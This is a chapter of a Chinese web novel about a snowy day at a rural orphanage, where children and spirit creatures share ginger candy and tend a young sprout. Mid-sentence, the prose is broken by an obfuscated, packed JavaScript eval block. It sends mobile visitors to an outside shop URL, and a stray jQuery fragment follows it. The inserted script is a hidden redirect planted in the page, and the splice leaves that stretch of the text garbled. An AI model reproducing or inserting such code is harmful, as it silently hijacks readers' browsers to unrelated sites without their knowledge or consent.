雪下了一整夜,到第二天早上才停。
林小满推开门的时候,院子里的雪积了厚厚一层,把门槛都埋了一半。老枣树的枝丫被雪压得低垂着,偶尔有一团雪从枝头滑落,砸在地上闷闷地响一声。空气冷得发脆,呼出的白雾能在面前凝好几秒才散。她裹着外套走到院子中间,脚踩进雪里发出咯吱咯吱的声响,雪面直接没过了脚踝。
陶陶今天没有第一个冲出来。他裹在被窝里不肯起床,被胡离连人带被子抱到厨房灶台旁边才睁开眼,嘟囔着说“今天不用出门吧”。书书早就起来了,蹲在廊下检查昨天晾在竹架上的灵纸——他昨晚睡觉前把竹架搬到了廊下最里面,上面还搭了一层防雪布,今天掀开一看,灵纸干干爽爽的,一张没湿。他满意地把布重新盖好,然后去厨房帮忙烧水。
小榆蹲在枣树底下他的扎根位上,根须伸在土里没有收回来。他昨晚一整夜都没有收根须。林小满走过去看了看他,他蹲在雪地里,头发上、肩膀上落了一层薄薄的雪,但整个人看起来并不冷。他的根须在土层深处,雪面以下的位置,和绿芽的根须碰在一起,安安静静地待着。绿芽的四片叶子上积了一小团雪,雪面底下能看见叶尖透出来的一点点绿,像藏在被子里不肯出来的小孩。
“你昨晚没回屋?”林小满蹲下来。
小榆点了点头,呼出一团白雾:“雪下的时候我感觉到地底下有动静。不是坏事,但得看着。绿芽太小了,怕它冻着。我给它暖了一夜。”他偏头看了一眼绿芽方向,叶子上那团雪安安静静的,“现在它没事了。叶子里面的水分没冻,根也是热的。”
林小满伸手碰了碰绿芽的叶子。叶子表面凉凉的,但叶脉深处确实有一种极细微的、被什么东西从内部暖着的触感,和小榆手指尖树皮纹路亮着的时候一样的温度。她收回手,拍了拍小榆肩膀上的雪:“进屋暖和暖和。今天不用出门。”
早饭桌上比平时安静。窗外的雪光从窗纸透进来,把整间厨房照得格外亮堂。陶陶捧着粥碗缩在灶台旁边,喝一口粥看一眼窗外,喝完一碗之后终于活过来了,开始问“雪人怎么堆”“绿芽会不会冷”“小暖能不能在雪里滚”。胡离往灶膛里又添了一根柴,火上来了,厨房里暖烘烘的。白泽坐在角落的凳子上喝粥,鹿角金光在灶火映照下温润地亮着,偶尔偏头看一眼窗外。小暖蹲在灶台边的暖光垫上,暖光和灶火融在一起,把整个厨房照得比平时暖了一个度。
吃到一半的时候,院门外响起了邮递员的声音。书书跑出去接了一封信和一个包裹。信是银杏先生寄来的,包裹也是。他抱着东西跑回厨房,把信拆开来看。信很短,只有一页纸,说南城前几天下了一场冷雨,榕树叶子落了不少,他在旧书库又找到了一些和姜修行者有关的零碎记录,下次一并寄来。信末写了一句“天冷了,给你们寄了点东西,不大,收到就知道了”。书书把信递给白泽看,然后拆开了那个包裹。
包裹不大,用牛皮纸包着,拆开来里面是一包东西和一张字条。东西是南城当地的姜糖,切成了整齐的小块,表面裹着一层薄薄的糖霜。字条上写着:“南城冬天湿冷,姜糖暖胃。给陶陶的。另外附了一小包给绿芽的过冬肥,我自己沤的,不臭。”书书从包裹底下翻出一个小布袋,袋口扎着麻绳,里面是深褐色的粉末,确实不臭,有一股淡淡的草木发酵后的清甜味。小榆凑过来闻了闻,点了点头:“是好东西。可以给绿芽。下雪天正好用。”
陶陶已经拆开姜糖的袋子了。他拿了一块塞进嘴里,嚼了两下眼睛就亮了,腮帮子鼓着冲书书竖了个大拇指。书书自己也吃了一块,辣得直吸气但没吐出来。白泽拿了一块尝了尝,没说什么,但伸手又拿了一块。胡离含着姜糖喝粥,评价是“比上次那个酸梅汤带劲”。
林小满把那包姜糖分出一半装进罐子里收好,另一半留在桌上大家吃。她把给绿芽的过冬肥交给小榆,小榆拿着布袋跑到枣树底下蹲下来,小心地把粉末撒在绿芽根部的雪面上。撒完之后他把手掌贴在那块雪面上,根须伸进土里和绿芽碰了碰,然后回来说:“它感觉到了。暖的。”
那天上午全员没有出门。雪停了但天还阴着,院子里白茫茫的一片。胡离在厨房检修了水管和灶台,又检查了院墙有没有被雪压出裂缝。书书在廊下把灵纸从竹架上取下来收进屋里,重新清点了一遍库存。陶陶在院子里堆了一个歪歪扭扭的雪人,用两颗小石子当眼睛,用一根枯枝当鼻子,然后把自己的帽子摘下来扣在雪人头顶,退后两步看了看,满意地点了点头。小榆蹲在雪人旁边看了一会儿,伸出指尖碰了碰雪人的“手臂”——那根枯枝。枯枝表面覆着一层薄雪,但底下的木质还带着树的气息。小榆闭了闭眼,收回手说:“它以前是槐树的枝。去年春天被风吹断的。”陶陶听完之后盯着那根枯枝看了好一会儿,然后小声说了一句“那你好好站着吧”,再没拿掉它。
中午胡离煮了一锅面片汤,里面放了白菜和几片腊肉。全员围坐在厨房里,灶台烧得旺,窗玻璃上的雾气凝了一层又一层。陶陶吃了两碗,鼻尖冒了汗,跑到院子里抓了一把雪回来攥在手里玩。书书吃完之后把银杏先生的信又看了一遍,然后拿出信纸开始写回信。小榆蹲在灶台旁边,根须贴着地面没有伸进土
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943844|214012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里,像是在感受灶台底下的暖意。小暖从暖光垫上滚到灶台边,暖光映着灶膛里的火光,把整间厨房照得暖融融的。
下午雪又开始飘了。胡离看了一眼窗外,说了一句“晚上得把绿芽那边的雪再清一次,别压折了叶子”。小榆摇了摇头:“不用清。雪是暖的。它自己能顶住。”胡离看了他一眼,点了点头,没再说什么。书书在廊下给银杏先生写回信,写到一半的时候陶陶凑过来要写,书书给了他一张废纸和一支铅笔,陶陶趴在门槛上歪歪扭扭地写了“谢谢”两个字,然后画了一个歪脸的小人。书书看了一眼那个小人,把它夹进了信封里。
傍晚的时候林小满去杂物间给小暖的罐子换垫纸。小暖蹲在罐子旁边陪她,暖光比早上亮了一些,核心处的淡金色底晕在渐渐暗下来的光线里显得格外柔和。林小满换完纸抬头的时候,透过杂物间的小窗看见院子里白茫茫的雪地、歪歪扭扭的雪人、枣树低垂的枝丫,还有小榆蹲在枣树底下的背影。白泽从偏房门口走出来,手里端着一杯热水,站在廊下看着院子里的雪景。他没有走到雪里,只是站在檐下,鹿角金光在灰白色的天光里温润地亮着。林小满把罐子放好,站起来走到他旁边。两个人并排站着看了一会儿院子里的雪。
“银杏先生寄来的姜糖还有剩吗?”白泽问。
“有。在厨房罐子里。”
“明天给老榆树那边也带点。虽然它不吃,但可以撒在树根旁边。”
林小满偏头看了他一眼,嘴角弯了一下。她没有说什么,只是点了点头。雪落在廊檐上,落在枣树的枝丫上,落在绿芽的叶子上,落在那座歪歪扭扭的雪人的帽子上,声音很轻很密。厨房里灶膛的火光从窗纸透出来,暖色的光映在雪地上,把整座院子染了一层淡淡的暖金。
夜深了,雪还在下。福利院的灯一盏一盏熄了。小榆蹲在枣树底下他的扎根位上,根须伸进土里和绿芽碰着。绿芽的四片叶子上积了新的雪,但叶子在雪底下安静地绿着。小暖蜷在杂物间的罐子里,光核在它旁边亮着。白泽站在偏房门口看了一眼院子——雪把一切都盖住了,老枣树、绿芽、小榆的扎根位、陶陶的雪人、书书的竹架,全都覆在一层安静的白下面。他把门带上,留了一道缝。门缝里的光落在走廊地面上,和杂物间透出来的暖光在走廊中间碰上了,融成一片浅浅的亮。
院子里很安静。雪落在枣树的枝丫上,落在绿芽的叶子上,落在走廊的屋檐上,声音很轻很密,像有什么东西在夜里安安静静地呼吸。枣树根底下,绿芽的第四片叶子在雪层的覆盖下微微动了一下,像是翻了个身,继续睡了。